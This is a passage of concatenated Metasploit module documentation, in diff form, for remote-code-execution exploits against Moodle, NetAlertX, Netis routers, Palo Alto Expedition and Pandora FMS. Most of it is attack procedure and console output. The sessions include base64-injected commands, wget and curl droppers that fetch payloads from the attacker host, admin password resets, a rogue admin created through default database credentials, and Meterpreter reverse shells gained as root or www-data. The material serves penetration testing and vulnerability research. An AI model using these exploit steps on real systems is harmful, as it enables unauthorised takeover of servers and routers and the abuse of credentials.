9. `set LHOST <IP>`
10. `exploit`
## Options
### USERNAME
The username to authenticate with in Moodle.
### PASSWORD
The password for the user.
### CMID
The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course
(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4).
### COURSEID
The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3).
## Scenarios
Running the module against Moodle v4.4.1 should result in an output similar to the following:
```
msf6 > use exploit/linux/http/moodle_rce
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser
USERNAME => testuser
msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD
PASSWORD => iusldbf843498fKJASD
msf6 exploit(linux/http/moodle_rce) > set CMID 2
CMID => 2
msf6 exploit(linux/http/moodle_rce) > set COURSEID 2
COURSEID => 2
msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141
RHOSTS => 192.168.217.141
msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128
LHOST => 192.168.217.128
msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit
[*] Started reverse TCP handler on 192.168.217.128:4444
[*] Obtaining MoodleSession and logintoken...
[+] Server reachable.
[*] Authenticating as testuser...
[*] Successfully authenticated.
[*] Obtaining sesskey, courseContextId, and category...
[*] Injecting command...
[*] Sending stage (3045380 bytes) to 192.168.217.141
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400
[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/moodle_rce) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : 192.168.217.141
OS : Ubuntu 24.04 (Linux 6.8.0-41-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
```
@@ -0,0 +1,110 @@
## Vulnerable Application
An attacker can update NetAlertX settings with no authentication, which results in RCE.
The vulnerability affects:
* v23.01.14 <= NetAlertX <= v24.9.12
This module was successfully tested on:
* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04
### Installation
1. `docker pull jokobsk/netalertx:24.9.12`
2. docker run
```bash
docker run --rm --network=host \
-v /tmp/netalertx:/app/config \
-v /tmp/netalertx:/app/db \
-e TZ=Europe/Berlin \
-e PORT=20211 \
jokobsk/netalertx:24.9.12
```
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter
## Options
### WAIT (required)
Wait time (seconds) for the payload to be set. Default is `75`.
### CLEANUP
Restore DBCLNP_CMD to original value after execution. Default is `true`.
## Scenarios
```
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options
Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):
Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP true no Restore DBCLNP_CMD to original value after execution
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 20211 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WAIT 75 yes Wait time (seconds) for the payload to be set
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 24.9.12 detected.
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
[*] Waiting settings really updated...
[*] Sending stage (3045380 bytes) to 192.168.56.17
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
[*] Added the payload to the queue. Waiting for the payload to run...
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.56.17
OS : (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,289 @@
## Vulnerable Application
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change
password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details).
The vulnerability stems from improper handling of the password and new password parameter within the router's web interface.
Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection
vulnerability.
When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router.
An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457)
allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute
the RCE.
Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure
revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running
specific vulnerable firmware.
The following router firmware versions are vulnerable:
- [x] netis_MW5360_V1.0.1.3031_fw.bin
- [x] Netis_MW5360-1.0.1.3442.bin
- [x] Netis_MW5360_RUSSIA_844.bin
- [x] netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
- [x] netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
- [x] netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
- [x] Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
- [x] netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
- [x] netis_NC65_V3.0.0.3749.bin
- [x] Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
- [x] Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
- [x] netis_NX10_V2.0.1.3582_fw.bin
- [x] netis_NX10_V2.0.1.3643.bin
- [x] Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
- [x] netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
- [x] Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
- [x] GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
and potentially others...
## Installation
Ideally, to test this module, you would need a vulnerable Netis Router device.
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
we can simulate the router and test the vulnerable endpoint.
### Installation steps to emulate the router firmware with FirmAE
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem.
* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
* Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet.
* We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration.
* Start emulation.
* First run `./init.sh` to initialize and start the Postgress database.
* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin`
* This will take a while, but in the end you should see the following...
```shell
# ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin
[*] /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!
[IID] 15
[MODE] debug
[+] Network reachable on 192.168.1.254!
[+] Web service on 192.168.1.254
[+] Run debug!
Creating TAP device tap15_0...
Set 'tap15_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.254 true true 79.316641060 186.772281412
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
import telnetlib
[*] firmware - GLC_ALPHA_AC3-V3.0.2.115
[*] IP - 192.168.1.254
[*] connecting to netcat (192.168.1.254:31337)
[+] netcat connected
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
```
* check if you can `ping` the emulated router and run `nmap` to check the ports
```shell
# ping 192.168.1.254
PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data.
64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=11.7 ms
64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=4.93 ms
64 bytes from 192.168.1.254: icmp_seq=3 ttl=64 time=1.30 ms
^C
--- 192.168.1.254 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 1.297/5.979/11.713/4.316 ms
# nmap 192.168.1.254
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 19:39 UTC
Nmap scan report for 192.168.1.254
Host is up (0.020s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
443/tcp open https
MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor)
Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds
```
You are now ready to test the module using the emulated router hardware on IP address 192.168.1.254
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457`
- [x] `set rhosts <ip-target>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=Linux Dropper>`
- [x] `exploit`
you should get a `Meterpreter` session.
```msf
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info
Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).
Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457
Platform: Linux
Arch: mipsle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2024-12-27
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.254 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
s/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The Netis router endpoint URL
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the
local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 1981 yes The local port to listen on.
Payload information:
Description:
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection
vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details).
The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the
router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter,
encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to
command execution, potentially allowing the attacker to take full control of the router.
An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated
attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE.
Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration
information of the router which can be used by the attacker to determine if the router is running specific vulnerable
firmware.
The following router firmware versions are vulnerable:
* netis_MW5360_V1.0.1.3031_fw.bin
* Netis_MW5360-1.0.1.3442.bin
* Netis_MW5360_RUSSIA_844.bin
* netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
* netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
* netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
* Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
* netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
* netis_NC65_V3.0.0.3749.bin
* Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
* Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
* netis_NX10_V2.0.1.3582_fw.bin
* netis_NX10_V2.0.1.3643.bin
* Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
* netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
* netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
* netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
* Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
* GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
* potentially others...
References:
https://nvd.nist.gov/vuln/detail/CVE-2024-48455
https://nvd.nist.gov/vuln/detail/CVE-2024-48456
https://nvd.nist.gov/vuln/detail/CVE-2024-48457
https://github.com/users/h00die-gr3y/projects/1
View the full module info with the info -d command.
```
## Options
### CMD_DELAY
Chained command lines using `;` do not work, so each command need to be executed in a separate request
with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option.
## Scenarios
### GLCtec ALPHA-AC3 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp
```msf
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.1.253:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.1.254:80 can be exploited.
[+] The target appears to be vulnerable. GLC(ALPHA-AC3)-V3.0.2.115
[*] Resetting router password for authentication.
[*] Logging in with the new router password 4vNcez42D to get the password cookie.
[*] Saving router credentials (root) at the msf database.
[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp
[*] Using URL: http://192.168.1.253:1981/ZhIplAe6jD9O7J
[*] Executing wget -qO /tmp/hMvelDeE http://192.168.1.253:1981/ZhIplAe6jD9O7J
[*] Client 192.168.1.254 (Wget) requested /ZhIplAe6jD9O7J
[*] Sending payload to 192.168.1.254 (Wget)
[*] Command Stager progress - 53.85% done (63/117 bytes)
[*] Executing chmod +x /tmp/hMvelDeE
[*] Command Stager progress - 72.65% done (85/117 bytes)
[*] Executing /tmp/hMvelDeE
[+] Deleted /tmp/hMvelDeE
[*] Meterpreter session 7 opened (192.168.1.253:4444 -> 192.168.1.254:54551) at 2024-12-29 11:28:49 +0000
[*] Command Stager progress - 83.76% done (98/117 bytes)
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.1.254
OS : (Linux 3.10.90)
Architecture : mips
BuildTuple : mipsel-linux-muslsf
Meterpreter : mipsle/linux
meterpreter > pwd
/etc/boa
meterpreter > ls
Listing: /etc/boa
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf
100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types
meterpreter >
```
## Limitations
Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target.
Another limitation is that the router has a very limited command set that can be leveraged,
so the only option is to use the `wget` command to drop an executable on the target to get a session.
Chained command lines using `;` do not work, so each command need to be executed in a separate request
with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option).
Last but not least, be mindful that the admin router password gets overwritten by the exploit,
resulting in a clear indicator of compromise.
@@ -0,0 +1,113 @@
## Vulnerable Application
This module exploits two vulnerabilities in Palo Alto Expedition to obtain a remote shell. The first vulnerability, CVE-2024-5910, allows to
reset the password of the admin user. The second vulnerability, CVE-2024-9464, is an authenticated OS command injection.
When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will
first try to reset the admin password and then perform the OS command injection. In a default installation, commands will get executed in
the context of www-data.
Note: If no credentials are available, the module will attempt to reset the admin password. For this, the parameter RESET_ADMIN_PASSWD must
explicitly be set to true.
## Testing
The software can be obtained from
[the vendor](https://live.paloaltonetworks.com/t5/expedition/ct-p/migration_tool).
Installation instructions are available [here]
(https://live.paloaltonetworks.com/t5/expedition-articles/expedition-documentation/ta-p/215619?attachment-id=13781).
**Successfully tested on**
- Expedition v1.2.91 on Ubuntu Server 20.04.1.
## Verification Steps
1. Install and run the application
2. Start `msfconsole` and run the following commands:
```
msf6 > msf6 > use exploit/linux/http/paloalto_expedition_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/paloalto_expedition_rce) > set RHOSTS <IP>
msf6 exploit(linux/http/paloalto_expedition_rce) > exploit
```
You should get a meterpreter session in the context of `www-data`.
## Options
### USERNAME
Username for authentication, if available.
### PASSWORD
Password for the associated user.
### WRITABLE_DIR
A writable location for the exploit to stage the command payload.
### RESET_ADMIN_PASSWD
If the username and password are not specified, the module will attempt to reset the admin password to the default password `paloalto`. This
is also done to authenticate and retrieve the exact version information, in case no credentials have been provided. As this alters the
configuration of the target system, the `RESET_ADMIN_PASSWD` parameter serves as a safeguard that must explicility set to true before the
reset endpoint is being invoked.
## Scenarios
Running the exploit against Expedition v1.2.91 on Ubuntu Server 20.04.1, using curl or wget as a fetch command, should result in an output
similar to the following:
```
msf6 exploit(linux/http/paloalto_expedition_rce) > exploit
[*] Command to run on remote host: curl -so /tmp/zRe http://192.168.137.204:8080/qv_gAdz7yjcgH-ohM3GesA; chmod +x /tmp/zRe; /tmp/zRe &
[*] Fetch handler listening on 192.168.137.204:8080
[*] HTTP server started
[*] Adding resource /qv_gAdz7yjcgH-ohM3GesA
[*] Started reverse TCP handler on 192.168.137.204:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Admin password successfully restored to default value paloalto (CVE-2024-5910).
[+] Successfully authenticated
[*] Got csrftoken: MTczMTM4MjY0NUNRV0RkNXBXR3Vic2hkR1ZZTHBSQTd1cWY5MjVWYWIw
[*] Version retrieved: 1.2.91
[+] The target appears to be vulnerable.
[*] Command chunk size = 30
[+] Successfully authenticated
[*] Got csrftoken: MTczMTM4MjY0NnpDVDRUcXdDRWhvZ09HWDNnMFdHUW81cXU2aHppTEdE
[*] Adding a new cronjob...
[*] Staging chunk 1 of 9
[*] Running command: echo -n "echo Y3VybCAtc28gL3RtcC96UmUga" > /tmp/fglGT
[*] Staging chunk 2 of 9
[*] Running command: echo -n "HR0cDovLzE5Mi4xNjguMTM3LjIwNDo" >> /tmp/fglGT
[*] Staging chunk 3 of 9
[*] Running command: echo -n "4MDgwL3F2X2dBZHo3eWpjZ0gtb2hNM" >> /tmp/fglGT
[*] Staging chunk 4 of 9
[*] Running command: echo -n "0dlc0E7IGNobW9kICt4IC90bXAvelJ" >> /tmp/fglGT
[*] Staging chunk 5 of 9
[*] Running command: echo -n "lOyAvdG1wL3pSZSAm|((command -v" >> /tmp/fglGT
[*] Staging chunk 6 of 9
[*] Running command: echo -n " base64 >/dev/null && (base64 " >> /tmp/fglGT
[*] Staging chunk 7 of 9
[*] Running command: echo -n "--decode || base64 -d)) || (co" >> /tmp/fglGT
[*] Staging chunk 8 of 9
[*] Running command: echo -n "mmand -v openssl >/dev/null &&" >> /tmp/fglGT
[*] Staging chunk 9 of 9
[*] Running command: echo -n " openssl enc -base64 -d))|sh" >> /tmp/fglGT
[+] Command staged; command execution requires a timeout and will take a few seconds.
[*] Running command: cat /tmp/fglGT | sh && rm /tmp/fglGT
[*] Client 192.168.137.205 requested /qv_gAdz7yjcgH-ohM3GesA
[*] Sending payload to 192.168.137.205 (curl/7.68.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.137.205
[*] Meterpreter session 10 opened (192.168.137.204:4444 -> 192.168.137.205:58030) at 2024-11-11 22:37:40 -0500
[*] Check thy shell.
meterpreter > sysinfo
Computer : 192.168.137.205
OS : Ubuntu 20.04 (Linux 5.4.0-42-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
```
@@ -0,0 +1,210 @@
## Vulnerable Application
Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS.
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker
to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the
Pandora FMS Web application.
This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4`
The following releases were tested.
**Pandora FMS Releases:**
* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)
## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
* Install the iso image in your virtualization engine.
* When installed, configure the VM appliance to your needs using the menu options.
* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
* or via the `webui` via `http://your_ip/pandora_console/index.php`.
* Note: from version `v7.0NG.760` follow the installation manual below:
* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).
You are now ready to test the module.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
## Options
### USERNAME
This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.
### PASSWORD
This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.
### DB_USER
This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.
### DB_PASSWORD
This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
Note: In older versions, this password is set to `pandora` during installation of the application.
### DB_PORT
This option is required and is the MySQL database port (default: 3306) to connect to the database.
## Scenarios
```msf
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info
Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password
Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320
Platform: Unix, Linux, PHP
Arch: cmd, php
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2024-11-21
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
Askar mhaskar
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 PHP Command
1 Unix/Linux Command
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DB_NAME pandora yes Pandora database
DB_PASSWORD Pandor4! yes Pandora database admin password
DB_PORT 3306 yes MySQL database port
DB_USER pandora yes Pandora database admin user
PASSWORD pandora no Pandora web admin password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
g-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /pandora_console yes Path to the Pandora FMS application
USERNAME admin no Pandora web admin user
VHOST no HTTP server virtual host
Payload information:
Description:
Pandora FMS is a monitoring solution that provides full observability for your organization's
technology. This module exploits an command injection vulnerability in the LDAP authentication
mechanism of Pandora FMS.
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
This access can be achieved leveraging a default password vulnerability in Pandora FMS that
allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
administrative access to the Pandora FMS Web application. This attack can be remotely executed
over the WAN as long as the MySQL services are exposed to the outside world.
This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4
References:
https://nvd.nist.gov/vuln/detail/CVE-2024-11320
https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/
https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320
View the full module info with the info -d command.
```
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target
Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
to gain the privileges for the RCE.
```msf
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx
password => xxx
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application.
[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application.
[*] Succesfully authenticated at the Pandora FMS Web application.
[*] Saving admin credentials at the msf database.
[*] Executing PHP Command for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 192.168.201.6
[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000
[+] Payload is successful removed from LDAP configuration.
meterpreter > sysinfo
Computer : cuckoo
OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter > pwd
/var/www/html/pandora_console
meterpreter >
```
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
to gain the privileges for the RCE.
```msf
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1
target => 1
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora
password => pandora
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
